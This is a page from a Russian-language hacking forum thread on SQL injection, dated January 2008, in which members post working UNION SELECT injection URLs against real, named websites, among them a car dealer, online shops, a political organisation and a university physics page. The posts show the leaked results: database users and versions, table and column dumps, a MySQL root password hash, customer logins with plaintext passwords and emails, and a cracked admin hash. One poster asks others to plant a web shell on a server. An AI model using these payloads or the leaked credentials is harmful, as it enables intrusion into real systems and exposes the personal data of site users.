HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Перезагрузить страницу SQL Инъекции
   
Ответ
Страница 434 из 1602 « Первая < 334384424 430 431 432 433 434 435 436 437 438 4444845349341434 > Последняя »
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 09.01.2008, 11:45
fRg
Участник форума
Регистрация: 28.12.2006
Сообщений: 111
Провел на форуме:
500695

Репутация: 524
По умолчанию
avtomir.ru - Группа компаний Автомир, крупнейший автомобильный дилер в России
Код:
http://www.avtomir.ru/ru/news/index.php?id4=-1+union+select+1,2,3,4,5,6,7,8,concat_ws(0x3a,version(),database(),user()),10,11,12,13,14,15/*
4.1.22:avtomir-www:avtomir-www@localhost

Нашёл табу ADMINISTRATOR с полями LOGIN и EMAIL
 
Ответить с цитированием

  #2  
Старый 09.01.2008, 13:32
Tigger
Познавший АНТИЧАТ
Регистрация: 27.08.2007
Сообщений: 1,107
Провел на форуме:
5386281

Репутация: 1177


По умолчанию
http://www.akata.fr/news.php?id=-176+union+select+1,concat_ws(0x2f,version(),user() ,database()),3,4,5,6,7,8,9,10/*
4.0.17-standard-log/akatav2@10.0.62.16/akatav2
-----------------------------------------------------------------------
http://www.internazionale.fr/news.php?id=-1529+union+select+1,concat_ws(0x2f,version(),user( ),database()),3,4,5,6,7,8,9/*
4.1.22-log/internazionale@localhost/interklan
-----------------------------------------------------------------------
http://www.logiconfor.fr/news.php?id=-19+union+select+1,2,concat_ws(0x2f,version(),user( ),database()),4/*
5.0.44-log/logiconf001@10.0.78.3/logiconf001
-----------------------------------------------------------------------
http://www.sequant.com/sn/news.php?id=-22+union+select+1,2,3,concat_ws(0x2f,version(),use r(),database()),5,6/*
4.1.21-Max/u1015325_xCR5CZ6@83.168.227.153/db1015325_sequant
-----------------------------------------------------------------------
http://sever.co.il
http://sever.co.il/news.php?id=-78+union+select+1,2,3,concat(user,char(58),passwor d),5,6,7,8,9+from+mysql.user/*
root:*1611455133BEB42BD070C44CBDCDCAEDB73E9156
Дальше можно через лимит...например: http://sever.co.il/news.php?id=-78+union+select+1,2,3,concat(user,char(58),passwor d),5,6,7,8,9+from+mysql.user+limit+1,50/*
Все таблицы:
http://sever.co.il/news.php?id=-78+union+select+1,2,3,table_name,5,6,7,8,9+from+in formation_schema.tables+limit+15,100/*
Все колонки:
http://sever.co.il/news.php?id=-78+union+select+1,2,3,column_name,5,6,7,8,9+from+i nformation_schema.columns+limit+15,100/*
-----------------------------------------------------------------------
 
Ответить с цитированием

  #3  
Старый 09.01.2008, 14:14
ElteRUS
Постоянный
Регистрация: 11.10.2007
Сообщений: 406
Провел на форуме:
7215020

Репутация: 1423
По умолчанию
vimkon.ru интернет-магазин

http://www.vimkon.ru/news.php3?news_id=-1+union+select+1,2,3,4,5,6,concat_ws(0x2F,version( ),database(),user()),8,9/*

5.0.45/vimkon/vimkon@localhost


http://www.vimkon.ru/news.php3?news_id=-1+union+select+1,2,3,4,5,6,concat_ws(0x2F,login,pa ss,email),8,9+from+client+limit+100,1/*

логин/пароль/мейл
algis/algisf1/info@algis.ru
 
Ответить с цитированием

  #4  
Старый 09.01.2008, 14:44
Dr.Z3r0
Leaders of The World
Регистрация: 06.07.2007
Сообщений: 246
Провел на форуме:
2030482

Репутация: 1796
По умолчанию
www.freeru.info
Код:
http://www.freeru.info/category.php/?cat1=-5 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,CONCAT_WS(0x203A20,VERSION(),USER(),DATABASE()),15,16,CONCAT_WS(0x203A20,TABLE_SCHEMA,TABLE_NAME),18,19,20 FROM INFORMATION_SCHEMA.TABLES/*
10-key.ru
Код:
http://10-key.ru/contests.php?mod=2' AND 1=2 UNION SELECT 1,2,3,4,CONCAT_WS(0x203A20,TABLE_SCHEMA,TABLE_NAME),6,7,8,9,10 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA<>'information_schema'/*
Оба сайта на одном серваке... так вот если кто нить зальет шелл, у мну например скока не пытался не получилось, буду очень признателен если вы мне об этом сообщите...
как бонус читалка хтмлок на этом же сервере:
Код:
http://olva-stroy.ru/index.php?str=
__________________
Кто я?..
 
Ответить с цитированием

  #5  
Старый 09.01.2008, 14:59
.Begemot.
Участник форума
Регистрация: 27.03.2007
Сообщений: 161
Провел на форуме:
1273248

Репутация: 785
По умолчанию
thefetus.net

Код HTML:
http://www.thefetus.net/page.php?id=-1149+union+select+0,concat(USER(),0x3a,VERSION(),0x3a,DATABASE()),2,3,4,5,6,7,8,9,10,11,12,13/*
USER:fetus@localhost
VERSION:5.0.37-community-nt
DATABASE:thefetus

Код HTML:
http://www.thefetus.net/page.php?id=-1149+union+select+0,table_name,2,3,4,5,6,7,8,9,10,11,12,13+from+information_schema.tables+limit+95,100/*
- все таблици

Код HTML:
http://www.thefetus.net/page.php?id=-1149+union+select+0,column_name,2,3,4,5,6,7,8,9,10,11,12,13+from+information_schema.columns/*
- все столбци

chilliwackheritagepark.com

Код HTML:
http://www.chilliwackheritagepark.com/page.php?id=-50+union+select+0,1,2,3,4,5,convert(concat(USER(),0x3a,VERSION(),0x3a,DATABASE())+using+latin1),7,8,9,10,11,12,13,14,15,16,17,18/*
USER:chwk_arts@localhost
VERSION:4.1.16
DATABASE:chwk_arts
 
Ответить с цитированием

  #6  
Старый 09.01.2008, 15:01
ElteRUS
Постоянный
Регистрация: 11.10.2007
Сообщений: 406
Провел на форуме:
7215020

Репутация: 1423
По умолчанию
property-fund.ru


http://www.property-fund.ru/ru/news_show.phtml?news=-1+union+select+1,2,3,4,5,6,7,8,9,concat_ws(0x2F,ve rsion(),database(),user()),11,12,13,14,15/*

4.1.20/profnd/profnd@localhost


http://www.property-fund.ru/ru/news_show.phtml?news=-1+union+select+1,2,3,4,5,6,7,8,9,concat_ws(0x2F,us ername,user_password,user_email),11,12,13,14,15+fr om+phpbb_users+limit+1,1/*

логин/хеш/мейл
admin/21232f297a57a5a743894a0e4a801fc3/admin@admin.ru

Юзаем http://md5.xek.cc/

21232f297a57a5a743894a0e4a801fc3;admin
 
Ответить с цитированием

  #7  
Старый 09.01.2008, 17:19
Dr.Z3r0
Leaders of The World
Регистрация: 06.07.2007
Сообщений: 246
Провел на форуме:
2030482

Репутация: 1796
По умолчанию
wwwrsphysse.anu.edu.au
Код:
http://wwwrsphysse.anu.edu.au/nuclear/personnel.php?id=-50 UNION SELECT 1,2,3,CONCAT_WS(0x203A20,TABLE_SCHEMA,TABLE_NAME),5,6,7,8,9,10,11,12,13,14,15,16,17,18 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA<>0x494E464F524D4154494F4E5F534348454D41/*
почти edu)))
__________________
Кто я?..
 
Ответить с цитированием

  #8  
Старый 09.01.2008, 17:55
А®ТеS
Участник форума
Регистрация: 25.11.2006
Сообщений: 291
Провел на форуме:
1537850

Репутация: 536
По умолчанию
http://www.democracy.ru/
Код:
http://www.democracy.ru/article.php?id=-1+UNION+SELECT+1,2,concat_ws(0x3A,USER(),DATABASE(),VERSION()),4,5,6,7,8,9,10,11,12,13,14,15,16/*
Организация ИРИС, цель которой "донести до избирателя реальные цели и задачи кандидатов, оплот демократии" (примерно так, не цитата, но смысл ясен). '99 года выпуска. Инъекция совершенно лобовая. БД 4, таблицы не подобрал.
З.Ы. Ипал я в рот такую демократию, на индексе почти все топики о "Национальном лидере России В.В. Путине". Короче очередная продажная организация.
 
Ответить с цитированием

  #9  
Старый 09.01.2008, 21:14
SametZ
Новичок
Регистрация: 08.01.2008
Сообщений: 1
Провел на форуме:
6801

Репутация: 6
По умолчанию
alterego.tut.by
homenet.tut.by
Толком ничего не накопал,но ресурс вроде известен.
_____________
http://alterego.tut.by/library/showarticle.php?id=-65%20UNION%20SELECT%201,version(),user(),database( ),5,6/*
_____________
http://homenet.tut.by/?action=notes&id=24471' - тут вообще нихрена не копается =\
_____________
P.S. Не судите строго,в хокинге я пока новичок.Да и ламарез в мск сьебался - некому учить =(
Последний раз редактировалось SametZ; 09.01.2008 в 21:23..
 
Ответить с цитированием

  #10  
Старый 09.01.2008, 22:05
.Begemot.
Участник форума
Регистрация: 27.03.2007
Сообщений: 161
Провел на форуме:
1273248

Репутация: 785
По умолчанию
Цитата:
Сообщение от SametZ  
http://homenet.tut.by/?action=notes&id=24471' - тут вообще нихрена не копается =\
Тут нет инжекции(

tgao.ca

Код HTML:
http://www.tgao.ca/page.php?id=-9+union+select+0,1,concat(USER(),0x3a,VERSION(),0x3a,DATABASE()),3/*
USER:tgao_tgao2@localhost
VERSION:5.0.27-standard
DATABASE:tgao_tgao2

Код HTML:
http://www.tgao.ca/page.php?id=-9+union+select+0,1,table_name,3+from+information_schema.tables+limit+45,1/*
Код HTML:
http://www.tgao.ca/page.php?id=-9+union+select+0,1,column_name,3+from+information_schema.columns+limit+0,1/*
lucon.ru

Код HTML:
http://www.lucon.ru/page.php?lev1=20+union+select+0,1,2,3,4,concat(USER(),0x3a,VERSION(),0x3a,DATABASE()),6,7,8,9/*
USER:lucon1@localhost
VERSION:5.0.24-standard
DATABASE:db_lucon1

Код HTML:
http://www.lucon.ru/page.php?lev1=20+union+select+0,1,2,3,4,table_name,6,7,8,9+from+information_schema.tables/*
- все таблици

Код HTML:
http://www.lucon.ru/page.php?lev1=20+union+select+0,1,2,3,4,column_name,6,7,8,9+from+information_schema.columns/*
- все поля

alex-travel.ru

Код HTML:
http://www.alex-travel.ru/strana.php?strana=2+union+select+0,1,2,3,4,5,6,7,8,9,10,11/*
 
Ответить с цитированием
Ответ
Страница 434 из 1602 « Первая < 334384424 430 431 432 433 434 435 436 437 438 4444845349341434 > Последняя »



« Предыдущая тема | Следующая тема »


Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.